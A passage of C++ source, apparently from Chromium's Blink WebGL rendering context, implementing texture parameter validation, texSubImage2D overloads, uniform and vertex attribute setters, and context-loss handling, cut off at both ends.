\"texParameter\",\n                          \"invalid parameter name\");\n        return;\n      }\n      FALLTHROUGH;\n    case GL_TEXTURE_WRAP_S:\n    case GL_TEXTURE_WRAP_T:\n      if ((is_float && paramf != GL_CLAMP_TO_EDGE &&\n           paramf != GL_MIRRORED_REPEAT && paramf != GL_REPEAT) ||\n          (!is_float && parami != GL_CLAMP_TO_EDGE &&\n           parami != GL_MIRRORED_REPEAT && parami != GL_REPEAT)) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"texParameter\", \"invalid parameter\");\n        return;\n      }\n\n      if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) {\n        if ((is_float && paramf != GL_CLAMP_TO_EDGE) ||\n            (!is_float && parami != GL_CLAMP_TO_EDGE)) {\n          SynthesizeGLError(GL_INVALID_ENUM, \"texParameter\",\n                            \"invalid parameter\");\n          return;\n        }\n      }\n      break;\n    case GL_TEXTURE_MAX_ANISOTROPY_EXT:  // EXT_texture_filter_anisotropic\n      if (!ExtensionEnabled(kEXTTextureFilterAnisotropicName)) {\n        SynthesizeGLError(\n            GL_INVALID_ENUM, \"texParameter\",\n            \"invalid parameter, EXT_texture_filter_anisotropic not enabled\");\n        return;\n      }\n      break;\n    case GL_TEXTURE_COMPARE_FUNC:\n    case GL_TEXTURE_COMPARE_MODE:\n    case GL_TEXTURE_BASE_LEVEL:\n    case GL_TEXTURE_MAX_LEVEL:\n    case GL_TEXTURE_MAX_LOD:\n    case GL_TEXTURE_MIN_LOD:\n      if (!IsWebGL2OrHigher()) {\n        SynthesizeGLError(GL_INVALID_ENUM, \"texParameter\",\n                          \"invalid parameter name\");\n        return;\n      }\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"texParameter\",\n                        \"invalid parameter name\");\n      return;\n  }\n  if (is_float) {\n    ContextGL()->TexParameterf(target, pname, paramf);\n  } else {\n    ContextGL()->TexParameteri(target, pname, parami);\n  }\n}\n\nvoid WebGLRenderingContextBase::texParameterf(GLenum target,\n                                              GLenum pname,\n                                              GLfloat param) {\n  TexParameter(target, pname, param, 0, true);\n}\n\nvoid WebGLRenderingContextBase::texParameteri(GLenum target,\n                                              GLenum pname,\n                                              GLint param) {\n  TexParameter(target, pname, 0, param, false);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLsizei width,\n    GLsizei height,\n    GLenum format,\n    GLenum type,\n    MaybeShared<DOMArrayBufferView> pixels) {\n  TexImageHelperDOMArrayBufferView(kTexSubImage2D, target, level, 0, width,\n                                   height, 1, 0, format, type, xoffset, yoffset,\n                                   0, pixels.View(), kNullNotAllowed, 0);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(GLenum target,\n                                              GLint level,\n                                              GLint xoffset,\n                                              GLint yoffset,\n                                              GLenum format,\n                                              GLenum type,\n                                              ImageData* pixels) {\n  TexImageHelperImageData(kTexSubImage2D, target, level, 0, 0, format, type, 1,\n                          xoffset, yoffset, 0, pixels, GetImageDataSize(pixels),\n                          0);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(\n    ExecutionContext* execution_context,\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLenum format,\n    GLenum type,\n    HTMLImageElement* image,\n    ExceptionState& exception_state) {\n  TexImageHelperHTMLImageElement(execution_context->GetSecurityOrigin(),\n                                 kTexSubImage2D, target, level, 0, format, type,\n                                 xoffset, yoffset, 0, image,\n                                 SentinelEmptyRect(), 1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(\n    ExecutionContext* execution_context,\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLenum format,\n    GLenum type,\n    CanvasRenderingContextHost* context_host,\n    ExceptionState& exception_state) {\n  TexImageHelperCanvasRenderingContextHost(\n      execution_context->GetSecurityOrigin(), kTexSubImage2D, target, level, 0,\n      format, type, xoffset, yoffset, 0, context_host,\n      GetTextureSourceSize(context_host), 1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(\n    ExecutionContext* execution_context,\n    GLenum target,\n    GLint level,\n    GLint xoffset,\n    GLint yoffset,\n    GLenum format,\n    GLenum type,\n    HTMLVideoElement* video,\n    ExceptionState& exception_state) {\n  TexImageHelperHTMLVideoElement(execution_context->GetSecurityOrigin(),\n                                 kTexSubImage2D, target, level, 0, format, type,\n                                 xoffset, yoffset, 0, video,\n                                 SentinelEmptyRect(), 1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::texSubImage2D(GLenum target,\n                                              GLint level,\n                                              GLint xoffset,\n                                              GLint yoffset,\n                                              GLenum format,\n                                              GLenum type,\n                                              ImageBitmap* bitmap,\n                                              ExceptionState& exception_state) {\n  TexImageHelperImageBitmap(\n      kTexSubImage2D, target, level, 0, format, type, xoffset, yoffset, 0,\n      bitmap, GetTextureSourceSize(bitmap), 1, 0, exception_state);\n}\n\nvoid WebGLRenderingContextBase::uniform1f(const WebGLUniformLocation* location,\n                                          GLfloat x) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform1f\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform1f(location->Location(), x);\n}\n\nvoid WebGLRenderingContextBase::uniform1fv(const WebGLUniformLocation* location,\n                                           const FlexibleFloat32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform1fv\", location, v,\n                                                    1, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform1fv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()),\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform1fv(const WebGLUniformLocation* location,\n                                           Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform1fv\", location, v.data(), v.size(), 1,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform1fv(location->Location(), v.size(), v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform1i(const WebGLUniformLocation* location,\n                                          GLint x) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform1i\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform1i(location->Location(), x);\n}\n\nvoid WebGLRenderingContextBase::uniform1iv(const WebGLUniformLocation* location,\n                                           const FlexibleInt32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform1iv\", location, v,\n                                                    1, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform1iv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()),\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform1iv(const WebGLUniformLocation* location,\n                                           Vector<GLint>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform1iv\", location, v.data(), v.size(), 1,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform1iv(location->Location(), v.size(), v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform2f(const WebGLUniformLocation* location,\n                                          GLfloat x,\n                                          GLfloat y) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform2f\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform2f(location->Location(), x, y);\n}\n\nvoid WebGLRenderingContextBase::uniform2fv(const WebGLUniformLocation* location,\n                                           const FlexibleFloat32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform2fv\", location, v,\n                                                    2, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform2fv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) >> 1,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform2fv(const WebGLUniformLocation* location,\n                                           Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform2fv\", location, v.data(), v.size(), 2,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform2fv(location->Location(), v.size() >> 1, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform2i(const WebGLUniformLocation* location,\n                                          GLint x,\n                                          GLint y) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform2i\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform2i(location->Location(), x, y);\n}\n\nvoid WebGLRenderingContextBase::uniform2iv(const WebGLUniformLocation* location,\n                                           const FlexibleInt32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform2iv\", location, v,\n                                                    2, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform2iv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) >> 1,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform2iv(const WebGLUniformLocation* location,\n                                           Vector<GLint>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform2iv\", location, v.data(), v.size(), 2,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform2iv(location->Location(), v.size() >> 1, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform3f(const WebGLUniformLocation* location,\n                                          GLfloat x,\n                                          GLfloat y,\n                                          GLfloat z) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform3f\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform3f(location->Location(), x, y, z);\n}\n\nvoid WebGLRenderingContextBase::uniform3fv(const WebGLUniformLocation* location,\n                                           const FlexibleFloat32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform3fv\", location, v,\n                                                    3, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform3fv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) / 3,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform3fv(const WebGLUniformLocation* location,\n                                           Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform3fv\", location, v.data(), v.size(), 3,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform3fv(location->Location(), v.size() / 3, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform3i(const WebGLUniformLocation* location,\n                                          GLint x,\n                                          GLint y,\n                                          GLint z) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform3i\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform3i(location->Location(), x, y, z);\n}\n\nvoid WebGLRenderingContextBase::uniform3iv(const WebGLUniformLocation* location,\n                                           const FlexibleInt32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform3iv\", location, v,\n                                                    3, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform3iv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) / 3,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform3iv(const WebGLUniformLocation* location,\n                                           Vector<GLint>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform3iv\", location, v.data(), v.size(), 3,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform3iv(location->Location(), v.size() / 3, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform4f(const WebGLUniformLocation* location,\n                                          GLfloat x,\n                                          GLfloat y,\n                                          GLfloat z,\n                                          GLfloat w) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform4f\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform4f(location->Location(), x, y, z, w);\n}\n\nvoid WebGLRenderingContextBase::uniform4fv(const WebGLUniformLocation* location,\n                                           const FlexibleFloat32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform4fv\", location, v,\n                                                    4, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform4fv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) >> 2,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform4fv(const WebGLUniformLocation* location,\n                                           Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform4fv\", location, v.data(), v.size(), 4,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform4fv(location->Location(), v.size() >> 2, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniform4i(const WebGLUniformLocation* location,\n                                          GLint x,\n                                          GLint y,\n                                          GLint z,\n                                          GLint w) {\n  if (isContextLost() || !location)\n    return;\n\n  if (location->Program() != current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"uniform4i\",\n                      \"location not for current program\");\n    return;\n  }\n\n  ContextGL()->Uniform4i(location->Location(), x, y, z, w);\n}\n\nvoid WebGLRenderingContextBase::uniform4iv(const WebGLUniformLocation* location,\n                                           const FlexibleInt32Array& v) {\n  if (isContextLost() || !ValidateUniformParameters(\"uniform4iv\", location, v,\n                                                    4, 0, v.lengthAsSizeT()))\n    return;\n\n  ContextGL()->Uniform4iv(location->Location(),\n                          base::checked_cast<GLuint>(v.lengthAsSizeT()) >> 2,\n                          v.DataMaybeOnStack());\n}\n\nvoid WebGLRenderingContextBase::uniform4iv(const WebGLUniformLocation* location,\n                                           Vector<GLint>& v) {\n  if (isContextLost() ||\n      !ValidateUniformParameters(\"uniform4iv\", location, v.data(), v.size(), 4,\n                                 0, v.size()))\n    return;\n\n  ContextGL()->Uniform4iv(location->Location(), v.size() >> 2, v.data());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix2fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    MaybeShared<DOMFloat32Array> v) {\n  if (isContextLost() || !ValidateUniformMatrixParameters(\n                             \"uniformMatrix2fv\", location, transpose, v.View(),\n                             4, 0, v.View()->lengthAsSizeT()))\n    return;\n  ContextGL()->UniformMatrix2fv(\n      location->Location(),\n      base::checked_cast<GLuint>(v.View()->lengthAsSizeT()) >> 2, transpose,\n      v.View()->DataMaybeShared());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix2fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformMatrixParameters(\"uniformMatrix2fv\", location, transpose,\n                                       v.data(), v.size(), 4, 0, v.size()))\n    return;\n  ContextGL()->UniformMatrix2fv(location->Location(), v.size() >> 2, transpose,\n                                v.data());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix3fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    MaybeShared<DOMFloat32Array> v) {\n  if (isContextLost() || !ValidateUniformMatrixParameters(\n                             \"uniformMatrix3fv\", location, transpose, v.View(),\n                             9, 0, v.View()->lengthAsSizeT()))\n    return;\n  ContextGL()->UniformMatrix3fv(\n      location->Location(),\n      base::checked_cast<GLuint>(v.View()->lengthAsSizeT()) / 9, transpose,\n      v.View()->DataMaybeShared());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix3fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformMatrixParameters(\"uniformMatrix3fv\", location, transpose,\n                                       v.data(), v.size(), 9, 0, v.size()))\n    return;\n  ContextGL()->UniformMatrix3fv(location->Location(), v.size() / 9, transpose,\n                                v.data());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix4fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    MaybeShared<DOMFloat32Array> v) {\n  if (isContextLost() || !ValidateUniformMatrixParameters(\n                             \"uniformMatrix4fv\", location, transpose, v.View(),\n                             16, 0, v.View()->lengthAsSizeT()))\n    return;\n  ContextGL()->UniformMatrix4fv(\n      location->Location(),\n      base::checked_cast<GLuint>(v.View()->lengthAsSizeT()) >> 4, transpose,\n      v.View()->DataMaybeShared());\n}\n\nvoid WebGLRenderingContextBase::uniformMatrix4fv(\n    const WebGLUniformLocation* location,\n    GLboolean transpose,\n    Vector<GLfloat>& v) {\n  if (isContextLost() ||\n      !ValidateUniformMatrixParameters(\"uniformMatrix4fv\", location, transpose,\n                                       v.data(), v.size(), 16, 0, v.size()))\n    return;\n  ContextGL()->UniformMatrix4fv(location->Location(), v.size() >> 4, transpose,\n                                v.data());\n}\n\nvoid WebGLRenderingContextBase::useProgram(WebGLProgram* program) {\n  if (!ValidateNullableWebGLObject(\"useProgram\", program))\n    return;\n  if (program && !program->LinkStatus(this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"useProgram\", \"program not valid\");\n    return;\n  }\n\n  if (current_program_ != program) {\n    if (current_program_)\n      current_program_->OnDetached(ContextGL());\n    current_program_ = program;\n    ContextGL()->UseProgram(ObjectOrZero(program));\n    if (program)\n      program->OnAttached();\n  }\n}\n\nvoid WebGLRenderingContextBase::validateProgram(WebGLProgram* program) {\n  if (!ValidateWebGLProgramOrShader(\"validateProgram\", program))\n    return;\n  ContextGL()->ValidateProgram(ObjectOrZero(program));\n}\n\nvoid WebGLRenderingContextBase::SetVertexAttribType(\n    GLuint index,\n    VertexAttribValueType type) {\n  if (index < max_vertex_attribs_)\n    vertex_attrib_type_[index] = type;\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib1f(GLuint index, GLfloat v0) {\n  if (isContextLost())\n    return;\n  ContextGL()->VertexAttrib1f(index, v0);\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib1fv(\n    GLuint index,\n    MaybeShared<const DOMFloat32Array> v) {\n  if (isContextLost())\n    return;\n  if (!v.View() || v.View()->lengthAsSizeT() < 1) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib1fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib1fv(index, v.View()->DataMaybeShared());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib1fv(GLuint index,\n                                                const Vector<GLfloat>& v) {\n  if (isContextLost())\n    return;\n  if (v.size() < 1) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib1fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib1fv(index, v.data());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib2f(GLuint index,\n                                               GLfloat v0,\n                                               GLfloat v1) {\n  if (isContextLost())\n    return;\n  ContextGL()->VertexAttrib2f(index, v0, v1);\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib2fv(\n    GLuint index,\n    MaybeShared<const DOMFloat32Array> v) {\n  if (isContextLost())\n    return;\n  if (!v.View() || v.View()->lengthAsSizeT() < 2) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib2fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib2fv(index, v.View()->DataMaybeShared());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib2fv(GLuint index,\n                                                const Vector<GLfloat>& v) {\n  if (isContextLost())\n    return;\n  if (v.size() < 2) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib2fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib2fv(index, v.data());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib3f(GLuint index,\n                                               GLfloat v0,\n                                               GLfloat v1,\n                                               GLfloat v2) {\n  if (isContextLost())\n    return;\n  ContextGL()->VertexAttrib3f(index, v0, v1, v2);\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib3fv(\n    GLuint index,\n    MaybeShared<const DOMFloat32Array> v) {\n  if (isContextLost())\n    return;\n  if (!v.View() || v.View()->lengthAsSizeT() < 3) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib3fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib3fv(index, v.View()->DataMaybeShared());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib3fv(GLuint index,\n                                                const Vector<GLfloat>& v) {\n  if (isContextLost())\n    return;\n  if (v.size() < 3) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib3fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib3fv(index, v.data());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib4f(GLuint index,\n                                               GLfloat v0,\n                                               GLfloat v1,\n                                               GLfloat v2,\n                                               GLfloat v3) {\n  if (isContextLost())\n    return;\n  ContextGL()->VertexAttrib4f(index, v0, v1, v2, v3);\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib4fv(\n    GLuint index,\n    MaybeShared<const DOMFloat32Array> v) {\n  if (isContextLost())\n    return;\n  if (!v.View() || v.View()->lengthAsSizeT() < 4) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib4fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib4fv(index, v.View()->DataMaybeShared());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttrib4fv(GLuint index,\n                                                const Vector<GLfloat>& v) {\n  if (isContextLost())\n    return;\n  if (v.size() < 4) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttrib4fv\", \"invalid array\");\n    return;\n  }\n  ContextGL()->VertexAttrib4fv(index, v.data());\n  SetVertexAttribType(index, kFloat32ArrayType);\n}\n\nvoid WebGLRenderingContextBase::vertexAttribPointer(GLuint index,\n                                                    GLint size,\n                                                    GLenum type,\n                                                    GLboolean normalized,\n                                                    GLsizei stride,\n                                                    int64_t offset) {\n  if (isContextLost())\n    return;\n  if (index >= max_vertex_attribs_) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttribPointer\",\n                      \"index out of range\");\n    return;\n  }\n  if (!ValidateValueFitNonNegInt32(\"vertexAttribPointer\", \"offset\", offset))\n    return;\n  if (!bound_array_buffer_ && offset != 0) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"vertexAttribPointer\",\n                      \"no ARRAY_BUFFER is bound and offset is non-zero\");\n    return;\n  }\n\n  bound_vertex_array_object_->SetArrayBufferForAttrib(\n      index, bound_array_buffer_.Get());\n  ContextGL()->VertexAttribPointer(\n      index, size, type, normalized, stride,\n      reinterpret_cast<void*>(static_cast<intptr_t>(offset)));\n}\n\nvoid WebGLRenderingContextBase::VertexAttribDivisorANGLE(GLuint index,\n                                                         GLuint divisor) {\n  if (isContextLost())\n    return;\n\n  if (index >= max_vertex_attribs_) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"vertexAttribDivisorANGLE\",\n                      \"index out of range\");\n    return;\n  }\n\n  ContextGL()->VertexAttribDivisorANGLE(index, divisor);\n}\n\nvoid WebGLRenderingContextBase::viewport(GLint x,\n                                         GLint y,\n                                         GLsizei width,\n                                         GLsizei height) {\n  if (isContextLost())\n    return;\n  ContextGL()->Viewport(x, y, width, height);\n}\n\n// Added to provide a unified interface with CanvasRenderingContext2D. Prefer\n// calling forceLostContext instead.\nvoid WebGLRenderingContextBase::LoseContext(LostContextMode mode) {\n  ForceLostContext(mode, kManual);\n}\n\nvoid WebGLRenderingContextBase::ForceLostContext(\n    LostContextMode mode,\n    AutoRecoveryMethod auto_recovery_method) {\n  if (isContextLost()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"loseContext\",\n                      \"context already lost\");\n    return;\n  }\n\n  context_group_->LoseContextGroup(mode, auto_recovery_method);\n}\n\nvoid WebGLRenderingContextBase::LoseContextImpl(\n    WebGLRenderingContextBase::LostContextMode mode,\n    AutoRecoveryMethod auto_recovery_method) {\n  if (isContextLost())\n    return;\n\n  context_lost_mode_ = mode;\n  DCHECK_NE(context_lost_mode_, kNotLostContext);\n  auto_recovery_method_ = auto_recovery_method;\n\n  // Lose all the extensions.\n  for (ExtensionTracker* tracker : extensions_) {\n    tracker->LoseExtension(false);\n  }\n\n  for (wtf_size_t i = 0; i < kWebGLExtensionNameCount; ++i)\n    extension_enabled_[i] = false;\n\n  RemoveAllCompressedTextureFormats();\n\n  // If the DrawingBuffer is destroyed during a real lost context event it\n  // causes the CommandBufferProxy that the DrawingBuffer owns, which is what\n  // issued the lost context event in the first place, to be destroyed before\n  // the event is done being handled. This causes a crash when an outstanding\n  // AutoLock goes out of scope. To avoid this, we create a no-op task to hold\n  // a reference to the DrawingBuffer until this function is done executing.\n  if (mode == kRealLostContext) {\n    task_runner_->PostTask(\n        FROM_HERE,\n        WTF::Bind(&WebGLRenderingContextBase::HoldReferenceToDrawingBuffer,\n                  WrapWeakPersistent(this), WTF::RetainedRef(drawing_buffer_)));\n  }\n\n  // Always destroy the context, regardless of context loss mode. This will\n  // set drawing_buffer_ to null, but it won't actually be destroyed until the\n  // above task is executed. drawing_buffer_ is recreated in the event that the\n  // context is restored by MaybeRestoreContext. If this was a real lost context\n  // the OpenGL calls done during DrawingBuffer destruction will be ignored.\n  DestroyContext();\n\n  ConsoleDisplayPreference display =\n      (mode == kRealLostContext) ? kDisplayInConsole : kDontDisplayInConsole;\n  SynthesizeGLError(GC3D_CONTEXT_LOST_WEBGL, \"loseContext\", \"context lost\",\n                    display);\n\n  // Don't allow restoration unless the context lost event has both been\n  // dispatched and its default behavior prevented.\n  restore_allowed_ = false;\n  DeactivateContext(this);\n  if (auto_recovery_method_ == kWhenAvailable)\n    AddToEvictedList(this);\n\n  // Always defer the dispatch of the context lost event, to implement\n  // the spec behavior of queueing a task.\n  dispatch_context_lost_event_timer_.StartOneShot(base::TimeDelta(), FROM_HERE);\n}\n\nvoid WebGLRenderingContextBase::HoldReferenceToDrawingBuffer(DrawingBuffer*) {\n  // This function intentionally left blank.\n}\n\nvoid WebGLRenderingContextBase::ForceRestoreContext() {\n  if (!isContextLost()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"restoreContext\",\n                      \"context not lost\");\n    return;\n  }\n\n  if (!restore_allowed_) {\n    if (context_lost_mode_ == kWebGLLoseContextLostContext)\n      SynthesizeGLError(GL_INVALID_OPERATION, \"restoreContext\",\n                        \"context restoration not allowed\");\n    return;\n  }\n\n  if (!restore_timer_.IsActive())\n    restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE);\n}\n\nuint32_t WebGLRenderingContextBase::NumberOfContextLosses() const {\n  return context_group_->NumberOfContextLosses();\n}\n\ncc::Layer* WebGLRenderingContextBase::CcLayer() const {\n  return isContextLost() ? nullptr : GetDrawingBuffer()->CcLayer();\n}\n\nvoid WebGLRenderingContextBase::SetFilterQuality(\n    SkFilterQuality filter_quality) {\n  if (!isContextLost() && GetDrawingBuffer()) {\n    GetDrawingBuffer()->SetFilterQuality(filter_quality);\n  }\n}\n\nExtensions3DUtil* WebGLRenderingContextBase::ExtensionsUtil() {\n  if (!extensions_util_) {\n    gpu::gles2::GLES2Interface* gl = ContextGL();\n    extensions_util_ = Extensions3DUtil::Create(gl);\n    // The only reason the ExtensionsUtil should be invalid is if the gl context\n    // is lost.\n    DCHECK(extensions_util_->IsValid() ||\n           gl->GetGraphicsResetStatusKHR() != GL_NO_ERROR);\n  }\n  return extensions_util_.get();\n}\n\nvoid WebGLRenderingContextBase::Stop() {\n  if (!isContextLost()) {\n    // Never attempt to restore the context because the page is being torn down.\n    ForceLostContext(kSyntheticLostContext, kManual);\n  }\n}\n\nbool WebGLRenderingContextBase::DrawingBufferClientIsBoundForDraw() {\n  return !framebuffer_binding_;\n}\n\nvoid WebGLRenderingContextBase::DrawingBufferClientRestoreScissorTest() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  if (scissor_enabled_)\n    ContextGL()->Enable(GL_SCISSOR_TEST);\n  else\n    ContextGL()->Disable(GL_SCISSOR_TEST);\n}\n\nvoid WebGLRenderingContextBase::DrawingBufferClientRestoreMaskAndClearValues() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  bool color_mask_alpha =\n      color_mask_[3] && active_scoped_rgb_emulation_color_masks_ == 0;\n  ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2],\n                         color_mask_alpha);\n  ContextGL()->DepthMask(depth_mask_);\n  ContextGL()->StencilMaskSeparate(GL_FRONT, stencil_mask_);\n\n  ContextGL()->ClearColor(clear_color_[0], clear_color_[1], clear_color_[2],\n                          clear_color_[3]);\n  ContextGL()->ClearDepthf(clear_depth_);\n  ContextGL()->ClearStencil(clear_stencil_);\n}\n\nvoid WebGLRenderingContextBase::\n    DrawingBufferClientRestorePixelPackParameters() {\n  if (destruction_in_progress_)\n    return;\n  if (!ContextGL())\n    return;\n  ContextGL()->PixelStorei(GL_PACK_ALIGNMENT, pack_alignment_);\n}\n\nvoid 